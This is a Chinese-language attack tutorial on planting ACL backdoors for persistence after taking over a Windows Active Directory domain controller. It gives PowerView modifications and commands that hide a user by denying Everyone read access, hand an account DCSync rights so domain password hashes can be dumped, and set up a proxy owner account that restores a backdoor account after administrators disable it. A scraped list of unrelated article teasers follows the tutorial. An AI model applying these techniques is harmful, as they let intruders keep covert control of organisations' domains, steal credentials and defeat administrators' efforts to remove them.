如何在Windows AD域中驻留ACL后门
前言
当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL
的后门。
ACL介绍
ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。
安全描述符包含与安全对象关联的安全信息。安全描述符由 SECURITY_DESCRIPTOR 结构和关联的安全信息组成。安全描述符可以包含以下安全信息::
-
• 对象所有者和主组的安全标识符 (SID) 。
-
• 指定允许或拒绝特定用户或组的访问权限的 DACL 。
-
• 一个 SACL ,指定为对象生成审核记录的访问尝试的类型。
-
• 一组控制位,用于限定安全描述符或其单个成员的含义。
隐藏安全描述符
当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:
3a2d9490-6b84-48d6-a1f9-e02ad933161b
可以在GUI上对所有者进行修改,也可以使用powerview
进行修改:
Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo
修改完成后:
a7f0c51c-abca-4b0b-b288-2218e633e8da
因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo
用户Deny
所有权限的ACL,但是发现powerview
的Add-DomainObjectAcl
方法并没有设置Deny
权限的操作,只有Allow
:
image-20221203165731119
当然,你可以使用New-ADObjectAccessControlEntry
来完成手动ACL的添加,他的原理如下图:
image-20221203165922392
上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl
已经完成了自动化的CommitChanges
,直接把Allow
默认可变的参数不就行了?首先手动在Add-DomainObjectAcl
添加一个AccessControlType
参数:
.PARAMETER AccessControlTypeSpecifies the type of ACE (allow or deny)
image-20221203170302148
设置参数定义:
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
image-20221203170313999
删除之前的默认的Allow
:
image-20221203170641601
最后把AccessControlType
参数替换之前的ControlType
:
image-20221203170738348
现在就可以在使用AccessControlType
参数来给对象添加Allow
或者Deny
的权限了。
当尝试域管添加一个对jumbo
用户Deny
所有权限的ACL后:
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny
871e59ae-a6bb-4e4a-83c9-bd01800bba33
当然,把SID
改成SamAccountName
也是可以的:
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny
可以发现域管也没权限查看jumbo
用户的属性了:
WKtY1zjGss
J3Qsrfsyl0
当使用system
用户查看jumbo
用户ACL时,可以看到对应的Deny
的ACL:
cccac477-019c-4600-8678-124461d8fb96
现在域管对jumbo
用户已经无法操作任何东西了,先用system
用户删除该Deny
权限,准备使用powerview
的Remove-DomainObjectAcl
方法时,发现也只有的Allow
,也就是默认只能移除对象的Allow
权限,老方法,把删除的ACL属性设置为可变参数:
image-20221203171520243
image-20221203171530075
image-20221203171559987
image-20221203171546945
进行删除:
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny
当然,把SID
改成SamAccountName
也是可以的:
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny
67ee14b5-46a7-44a7-81ea-57eaed22c0b5
那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo
用户的拥有者改成默认的域管组,然后对域管进行设置Deny
的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo
拥有者设置为jumbo
的目的:
image-20221203172330615
上面尝试了拒绝域管对jumbo
所有的权限,那为了隐藏,并且为了防止后续还要对jumbo
用户的一些其他修改,实际上可以对jumbo
用户设置everyone
拒绝读取的权限即可:
8f23c0b4-e7e9-4f55-9c30-8abbc2a86f09
现在所有用户对其都没有查看权限了:
WKtY1zjGss
当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:
image-20221203173141621
现在通过net user
命令已经看不到jumbo
这个用户了:
image-20221203173434064
在“用户和计算机”里看用户长这样:
image-20221203173508632
从上面的操作可以发现,给everyone
用户添加拒绝读取权限时是通过GUI实现的,因为everyone
用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0
:
image-20221203194510264
当尝试使用powerview
的Add-DomainObjectAcl
方法是无法完成给everyone
用户添加ACL的:
07fc0328-3a8b-46b7-b245-b0449ef29533
通过查看powerview
的代码,会通过Get-ObjectAcl
方法获取对应用户的SID,但是刚刚提到,everyone
用户是个特殊的用户,导致查不到:
image-20221203194829686
但是看了下还有个New-ADObjectAccessControlEntry
方法,会判断输入的PrincipalIdentity
参数是不是SID
,如果是SID
就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl
方法中:
if ($PrincipalIdentity -notmatch '^S-1-.*') {$PrincipalSearcherArguments = @{'Identity' = $PrincipalIdentity'Properties' = 'distinguishedname,objectsid'}if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }$Principal = Get-DomainObject @PrincipalSearcherArgumentsif (-not $Principal) {throw "Unable to resolve principal: $PrincipalIdentity"}elseif($Principal.Count -gt 1) {throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"}$ObjectSid = $Principal.objectsidWrite-Host ($ObjectSid)}else {Write-Host "..sid.."$ObjectSid = $PrincipalIdentity}
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
现在尝试下,给jumbo2
用户添加everyone
所有拒绝的ACL:
Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
image-20221203223418355
image-20221203223515329
Remove-DomainObjectAcl
方法同理。
隐藏主体
通过上面的步骤,除了jumbo
用户本身可以查看jumbo
用户以为,其他用户都没有ReadControl
权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico
图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo
用户移到一个单独的OU
组里:
image-20221203174836127
然后给这个OU
设置everyone
拒绝读取权限即可:
image-20221203174920757
image-20221203174956407
遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。
Dcsync
Dcsync
实际上就是给用户设置两条扩展权限,分别为:
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
当用户拥有这两条ACL后,即可使用DRS
协议获取域hash
凭据。给用户在域对象上添加Dcsync
权限即可:
image-20221203180529979
代理账号
上面提到,把jumbo
用户拥有者改成自身,然后设置everyone
对其没有读取权限,这样就可以达到隐藏jumbo
,然后手上的jumbo
用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync
类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。
首先攻击账号为attack
,代理账号为good
,首先设置attack
账号所有者为good
:
Set-DomainObjectOwner -identity attack -OwnerIdentity good
image-20221203225649767
给attack
账号添加dcsync
权限:
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow
image-20221203230454614
设置attack
都不可操作:
Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
这个时候,如果attack
在发起攻击的时候被管理员发现了,把attack
账号密码重置了,但是good
账号是attack
账号的拥有者,可以修改attack
账号的ACL
,比如给自己添加修改密码的权限,然后去重置attack
账号的密码,然后就又可以拿来攻击了。
总结
本文主要讲了在Windows
域中如何利用ACL
进行后门隐藏,并对powerview
进行修改使其支持在添加ACL
或者删除ACL
时可以指定Allow
或者Deny
,也可以选择everyone
此类特殊用户。
相关文章:

如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。 ACL介绍 …...

LVGL移植——stm32f4
LVGL移植说明 移植LVGL版本:8.3.6 主控:STM32F407ZGT6 github链接:https://github.com/lvgl/lvgl.git 文章目录 LVGL移植说明STM32移植LVGL①需要的依赖文件②移植显示驱动文件③将文件加入工程当中④配置心跳④修改栈堆的空间⑤编译链接 STM…...

ASEMI代理ADP5054ACPZ-R7原装ADI车规级ADP5054ACPZ-R7
编辑:ll ASEMI代理ADP5054ACPZ-R7原装ADI车规级ADP5054ACPZ-R7 型号:ADP5054ACPZ-R7 品牌:ADI/亚德诺 封装:LFCSP-48 批号:2023 引脚数量:48 工作温度:-40C~125C 安装类型:表…...
TCP/IP相关面试题
1. 什么是TCP/IP协议?它的作用是什么? TCP/IP(Transmission Control Protocol/Internet Protocol)互联网中最常用的协议,是计算机网络通信的基础。由TCP协议和IP协议两部分组成。IP协议负责数据的传输和路由选择&#…...
MySQL数据库——MySQL存储过程是什么?
我们前面所学习的 MySQL 语句都是针对一个表或几个表的单条 SQL 语句,但是在数据库的实际操作中,经常会有需要多条 SQL 语句处理多个表才能完成的操作。 例如,为了确认学生能否毕业,需要同时查询学生档案表、成绩表和综合表&…...

消息队列中的事务消息
大家好,我是易安!今天我们谈一谈消息队列中的事务消息这个话题。 一说起事务,你可能自然会联想到数据库。我们日常使用事务的场景,绝大部分都是在操作数据库的时候。像MySQL、Oracle这些主流的关系型数据库,也都提供了…...
03. 路由参数.重定向.视图
学习要点: 1.路由参数 2.路由重定向 3.路由视图 本节课我们来开始进入学习路由的参数设置、重定向和路由的视图。 一.路由参数 1. 上一节课,我们已经学习了部分路由参数的功能,比如动态传递{id}; 2. 那么,有…...

Flowable入门
Flowable初体验 Flowable是什么 Flowable 是一个使用 Java 编写的轻量级业务流程引擎,常用于需要人工审批相关的业务,比如请假、报销、采购等业务。 为什么要使用工作流呢? 对于复杂的业务流程,通过数据库的状态字段难以控制和…...

Scala Option类型,异常处理,IO,高阶函数
Option类型 实际开发中, 在返回一些数据时, 难免会遇到空指针异常(NullPointerException), 遇到一次就处理一次相对来讲还是比较繁琐的. 在Scala中, 我们返回某些数据时,可以返回一个Option类型的对象来封装具体的数据,从而实现有效的避免空指针异常。S…...
unity进阶学习笔记:单例模式
游戏框架: 游戏框架一般包括消息框架,状态机,管理器,工具类。 消息框架指游戏物体之的通信框架,虽然unity引擎自带一套消息框架,但该框架只能用于父子物体之间通信,无法实现大部分非父子关系的…...

软件测试——性能指标
登录功能示例: 并发用户数500; 响应时间2S; TPS到500; CPU不得超过75%; 性能指标有哪些? 响应时间 并发用户数 TPS CPU 内存 磁盘吞吐量 网络吞吐量 移动端FPS 移动端耗电量 APP启动时间 性能…...
leetcode 405. 数字转换为十六进制数
题目描述解题思路执行结果 leetcode 405. 数字转换为十六进制数. 题目描述 数字转换为十六进制数 给定一个整数,编写一个算法将这个数转换为十六进制数。对于负整数,我们通常使用 补码运算 方法。 注意: 十六进制中所有字母(a-f)都必须是小写。 十六进制…...

部门来了个软件测试,听说是00后,上来一顿操作给我看呆了...
前段时间公司新来了个同事,听说大学是学的广告专业,因为喜欢IT行业就找了个培训班,后来在一家小公司干了三年,现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍,服务器缩减一半,性能反而提升4倍!给…...

使用篇丨链路追踪(Tracing)很简单:链路拓扑
作者:涯海 最近一年,小玉所在的业务部门发起了轰轰烈烈的微服务化运动,大量业务中台应用被拆分成更细粒度的微服务应用。为了迎接即将到来的双十一大促重保活动,小玉的主管让她在一周内梳理出订单中心的全局关键上下游依赖&#…...
2023年厦门等保二级备案办理流程
根据规定,已运营/运行或新建的第二级以上信息系统的企业,事业单位/行政机关/民办非企业单位/社团组织/其他组织必须办理等保备案。 2023年厦门等保二级备案办理流程 办理机构:公安局 办结时限:受理后10个工作日 办理方式:网上…...
提高开发效率,从这些小技巧开始——5个让你爱上IDEA的增加体验小技巧
前言 如果你是一名Java开发人员,那么你一定会使用IntelliJ IDEA这个IDE。IntelliJ IDEA作为目前最受欢迎的Java IDE之一,已经成为了众多Java开发人员必备的工具之一。但是,你是否知道如何利用IDEA中的一些小技巧来提高你的开发效率和体验呢&a…...

Python基础合集 练习22 (错误与异常处理语句2)
‘’’ try: 语句块 except: 语句块2 else ‘’’ class Mobe1(): def init(self) -> None: pass def mob1(self):while True:try:num int(input(请输入一个数: ))result 50 / numprint(result)print(50/{0}{1}.format(num, result))except (ZeroDivisionError, ValueEr…...

ELK -- kibana 用nginx代理后无法访问
背景: 本地搭建好elk后,一切正常,后面改成用nginx代理kibana的5601端口,发现代理后无法正常访问(未代理的地址可正常访问),花了很多时间去查问题,报错基本都是http://ip:port/spaces…...

什么是分布式事务
目录 分布式事务基础 事务 本地事务 分布式事务 分布式事务的场景 分布式事务解决方案 全局事务 优点 缺点 可靠消息服务 第一步 :消息由系统A投递到中间件 超时访问机制 最大努力通知 第一步:消息由系统A投递到中间件 第二步:消息…...
在 Python 中将整数转换为罗马数字
罗马数字使用以下七个符号书写。 Symbol Value I 1 V 5 X 10 L 50 C 100 D 500 M 1000这些符号用于表示数以千计的数字。 罗马写20,可以用两个X拼成XX。 但是 XXXX 不…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

HBuilderX安装(uni-app和小程序开发)
下载HBuilderX 访问官方网站:https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本: Windows版(推荐下载标准版) Windows系统安装步骤 运行安装程序: 双击下载的.exe安装文件 如果出现安全提示&…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合
在汽车智能化的汹涌浪潮中,车辆不再仅仅是传统的交通工具,而是逐步演变为高度智能的移动终端。这一转变的核心支撑,来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒(T-Box)方案:NXP S32K146 与…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...
【HarmonyOS 5】鸿蒙中Stage模型与FA模型详解
一、前言 在HarmonyOS 5的应用开发模型中,featureAbility是旧版FA模型(Feature Ability)的用法,Stage模型已采用全新的应用架构,推荐使用组件化的上下文获取方式,而非依赖featureAbility。 FA大概是API7之…...
ArcPy扩展模块的使用(3)
管理工程项目 arcpy.mp模块允许用户管理布局、地图、报表、文件夹连接、视图等工程项目。例如,可以更新、修复或替换图层数据源,修改图层的符号系统,甚至自动在线执行共享要托管在组织中的工程项。 以下代码展示了如何更新图层的数据源&…...

在Zenodo下载文件 用到googlecolab googledrive
方法:Figshare/Zenodo上的数据/文件下载不下来?尝试利用Google Colab :https://zhuanlan.zhihu.com/p/1898503078782674027 参考: 通过Colab&谷歌云下载Figshare数据,超级实用!!࿰…...